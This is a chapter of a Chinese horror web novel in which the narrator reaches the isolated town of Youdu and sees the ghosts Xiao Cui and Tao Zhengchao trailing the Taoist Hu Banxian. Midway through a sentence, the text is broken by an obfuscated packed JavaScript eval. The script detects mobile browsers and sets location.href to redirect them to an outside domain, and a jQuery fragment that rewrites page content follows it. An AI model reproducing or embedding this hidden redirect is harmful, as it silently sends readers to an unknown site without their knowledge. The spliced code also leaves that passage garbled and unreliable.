63.幽都镇(一)

作品:《心惊胆颤

    “嘶...有些烧脑啊,孟英你看我画的思维导图对不对?”


    孟英拿起我画的图,仔仔细细看了一会,然后点点头:


    “大致都对。”


    虽然我大约弄懂了这四个故事的时间线,但我还是有几处疑问:


    “我还是有几处不明白,水猴子为什么最后会性情大变,涂脂抹粉?


    小翠陶正超对宋大胆胡半仙还有安良都展开了报复,那他们会放过白府吗?”


    听到我的问题,孟英沉默半晌最终说道:


    “具体的我也不太清楚,我也是听老一辈的人讲的,如果你想知道细节,不如有机会你去我老家幽都镇玩玩吧,找到那些老一辈详细打听一下吧。”


    孟英的话让我十分诧异,没想到她故事里的幽都镇竟然是真实存在的。


    其实我这个人比较社恐,按理来说我不会做出随便去人家打扰的事,可这次我是真被孟英的故事真勾起了好奇心。


    在回房间房间思考一晚后,我决定在我处理好这边的一切后,就前往幽都镇。


    毕竟听孟英话里的意思,幽都镇应该存在很久了,像这种拥有悠久历史的古镇,一般都会存在着各种各样的稀奇故事。


    到时就算没得到关于白家结局的信息,我也可以获取别的故事。


    孟英先一步出发回幽都镇,而我是在半个月后才出发。


    ——


    幽都镇地处偏僻,那是个连地图都没显示的小地方,只能依靠孟英给我发的定位前往那里。


    我一路奔波,先是坐飞机,然后坐火车,接着坐客车。


    客车在山路上颠簸,窗外的景色越来越荒凉。


    手机信号时断时续,最后一条收到的是孟英的短信:"到了渡口找穿灰布衫的老赵"。


    我有个晕车的毛病,在吃了晕车药后就一路睡了过去。等我再次醒来时,客车已经到站。


    孟英发来的定位就停在这里,再往前,连手机信号都彻底消失了。


    车站破旧得像个废弃的仓库,长椅上积着厚厚的灰。站牌上的字迹模糊不清,只隐约看出"幽都"二字。


    四下无人,只有几只乌鸦在枯树上盯着我。


    这时车站也是渡头,看来孟英故事里幽都镇四面环水是真的,而那四个故事想必也是从古至今口口相传下来的吧。


    此时已暮色四合,残阳如血,将渡口斑驳的木栈道染成暗红色。


    浑浊的河水泛着诡异的绿光,几片枯叶在水面打着旋儿,像是被什么无形的手拨弄着。


    对岸的雾气浓得化不开,隐约可见几处翘起的屋檐轮廓,宛如蛰伏的巨兽。


    我揉了揉太阳穴,晕车药的效力还未完全消退。


    客车早已绝尘而去,留下我独自面对这个阴森的渡口。


    站牌上的漆皮剥落大半,"幽都"二字模糊得几乎难以辨认。


    渡头唯一的木船破旧得令人心惊。


    船身布满青苔,几块木板已经腐朽变形,露出黑黢黢的缝隙。


    老船夫佝偻着背,斗笠压得很低,只露出几绺灰白的头发。


    承载我的船,并不是现在咱们常坐的带电机的船,而是那种纯手工靠人力的老式木船。


    当我踏上甲板时,船身发出不堪重负的呻吟。


    船舷上刻着些奇怪的符号,像是某种古老的咒文。青苔覆盖下,隐约可见暗红色的痕迹,像是经年累月渗入木纹的血迹。


    "老伯,这船..."我试探着开口,却被一阵突如其来的浓雾打断。


    转眼间,四周便白茫茫一片,连近在咫尺的船尾都看不真切。


    雾气中夹杂着刺骨的寒意,我的睫毛很快结了一层细密的水珠。


    老船夫沉默地摇着桨,木桨划破水面的声音沉闷而迟缓,像是隔着一层厚厚的布料。


    借着昏暗的天光,我注意到他的右手只有两根完整的手指。残缺的指节处结着厚厚的茧,随着撑船的动作渗出暗黄的组织液。


    就在我移开视线时,他突然沙哑地开口:"夜了别出门。"声音像是从破旧的风箱里挤出来的,带着浓重的痰音。


    我正要追问,却发现他的嘴唇根本没有动过。


    渡船靠岸时,雾气仍未散去。


    岸边孤零零地停着一艘带棚的小船,白灯笼在暮色中微微晃动,投下惨淡的光晕。


    我鬼使神差地走近查看,船舱里堆着的渔网上沾满可疑的黑色絮状物。


    一根断裂的锁链半浸在水中,随着水波轻轻摆动,发出细碎的碰撞声。


    这让我立马想起水猴子的船。


    "这个船不会也是捞尸人停在这的吧?"


    小船棚子上挂着盏白灯笼,在无风的傍晚轻轻摇晃。船舱里堆着几张发黑的渔网,网上沾着些可疑的毛发。


    但转过头一想,这个镇子只要四周的水没消失,就一定会有人落水,所以捞尸人还会有存在的必要。


    通往镇子的小路蜿蜒曲折,两侧的杂草足有半人高。天色暗得出奇地快,仿佛有人猛地拉上了夜幕。


    槐树林里飘荡着褪色的布条,其中一抹刺目的猩红格外显眼——那是件残破的嫁衣,袖口还缀着几颗黯淡的珍珠。夜风吹过时,布料发出簌簌的响声,宛如女子低泣。


    当我终于看见那块刻着"幽都镇"的界碑时,月亮已经高悬天际。


    诡异的是,今日本该是初二,天空却挂着一轮满月,大得不像话。


    月光惨白,将界碑上的红漆照得如同鲜血般刺目。


    碑前摆着的供品已经发霉变质,三根折断的线香插在腐烂的苹果上,香灰呈现出不自然的青黑色。


    踏入镇子的瞬间,一阵刺骨的寒意顺着脊背窜上来。整条长街死寂无声,所有门窗都紧闭着,没有一丝光亮透出。


    我的脚步声在青石板上回荡,每一步都激起细微的回音。月光将我的影子拉得很长,影子的头部却诡异地扭曲着,像是多了些什么东西。


    小跑着进镇,我现在没什么别的想法,只想找个地方好好休息一下吃点东西。


    但,镇上的房子全部都是那种古代样式,没有一丝现代建筑的气息。


    我站在由石砖铺成的长街上,两边店铺林立,没有一家的是亮灯的。


    不仅是两侧店铺,应该说整个镇子都是出于黑暗之中。就像...就像没有任何娱乐设施的古代,一入夜就会全部熄灯。


    就在我犹豫要不要敲门求助时,一阵轻微的脚步声从远处传来。我迅速躲到一家药铺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081702|178037||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    门外的竹筐后,指尖触到一把生锈的剪刀。


    剪刀刃口沾着可疑的暗红色污渍,握柄上缠着几根长发。


    我强忍着恶心将它放回原处,却听见竹筐深处传来细微的"沙沙"声,像是有什么东西在蠕动。


    我刚蹲下不一会,就见一个身穿黄色道袍、个不高、留着小八字胡的男人匆匆走过。


    黄袍道士的出现让我浑身一僵。他走路的姿势古怪极了,像是踩着某种诡异的节拍。


    道袍下摆沾满泥浆,腰间的铜铃随着步伐晃动,却诡异地没有发出半点声响。


    看着这个人,不知为什么莫名感觉很熟悉,但我可以肯定的是,我绝对没见过这个人。


    记忆突然闪回孟英讲的故事,那个骗白家用活人当"补丁"的风水先生,好像叫胡半仙。


    可那应该是一百多年前的人了......


    正在我犹豫着要不要出去向他求助时,我突然听到一阵让人脊背发凉的声音——"笃、笃、笃"


    那声音突兀地响起,像是木棍敲击石板,又像是某种古老的计时器。


    节奏越来越快,最后连成一片令人心悸的嗡鸣。


    !!!我看到了!我看到一个到头朝下,倒吊着的女鬼,正咧着一个怪异笑容卖着小碎步,快速跟在黄袍道士身后前进!!!


    断肢、骨茬...正跟在胡半仙身后......


    那是小翠!!!


    我看到了她那双用竹子编的三寸小脚,怪不得有''笃笃笃''的声音。


    之前在宋大胆那里的''笃笃''声,是她用臂骨爬行时所发出的敲击声。


    而现在则是她用假脚踏在店铺外面房檐的声音。


    竹脚在屋檐上轻轻点过,每走一步都带起细碎的黑灰。


    她的脚踝缠着褪色红绳,绳结上沾着暗褐色的污渍。


    月光穿过她的身体,在地面投下淡青色的影子,那影子不时抽搐一下,像是承受着某种痛苦。


    我被这一幕,刺激到心脏骤然一缩,呼吸也变得急促而紊乱,仿佛下一秒就要窒息。


    胸腔里的心跳声大得惊人,像是有人在耳畔擂鼓。


    冷汗顺着太阳穴滑落,在下巴处凝结成珠。指尖传来麻痹感,连握拳这样简单的动作都变得困难。


    然而还没完,我看见胡半仙停在半路,然后拿剑刺向小翠的方向。


    可他并没有发现,小翠就在他头上。


    桃木剑刺穿空气,剑身上的符文亮起又熄灭。


    胡半仙的道袍后领处鼓起不自然的弧度,隐约可见几缕黑发从缝隙中垂落。


    突然,我余光瞥见不远处一个走路歪歪扭扭的身影向这边走过来,他的头瘪了一块。


    是陶正超,他来了!


    他的左腿比右腿短了三寸,走路时肩膀一高一低地起伏。


    月光照在他凹陷的太阳穴上,破碎的头骨间有什么东西在微微发亮。


    最让我感到恐惧的是,陶正超他用挂在脸上的眼球,看了我一眼!


    他发现我了,我得跑!


    那颗悬在颧骨旁的眼球突然转动,瞳孔缩成针尖大小。


    在眼球转向我的瞬间,一阵尖锐的疼痛从我的左眼炸开,像是被烧红的铁丝贯穿。